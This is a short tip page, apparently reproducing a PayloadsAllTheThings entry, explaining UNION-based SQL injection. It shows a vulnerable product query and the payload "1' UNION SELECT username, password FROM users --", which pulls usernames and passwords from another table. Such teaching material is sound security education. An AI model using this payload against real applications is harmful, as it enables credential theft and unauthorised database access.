SQL Injection: UNION Based Injection

SQL injectionExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

In a standard SQL query, data is retrieved from one table. The UNION operator allows multiple SELECT statements to be combined. If an application is vulnerable to SQL injection, an attacker can inject a crafted SQL query that appends a UNION statement to the original query.

Let's assume a vulnerable web application retrieves product details based on a product ID from a database:

sql
SELECT product_name, product_price FROM products WHERE product_id = 'input_id';

An attacker could modify the input_id to include the data from another table like users.

sql
1' UNION SELECT username, password FROM users --

After submitting our payload, the query become the following SQL:

sql
SELECT product_name, product_price FROM products WHERE product_id = '1' UNION SELECT username, password FROM users --';

:warning: The 2 SELECT clauses must have the same number of columns.

Comments

No comments yet.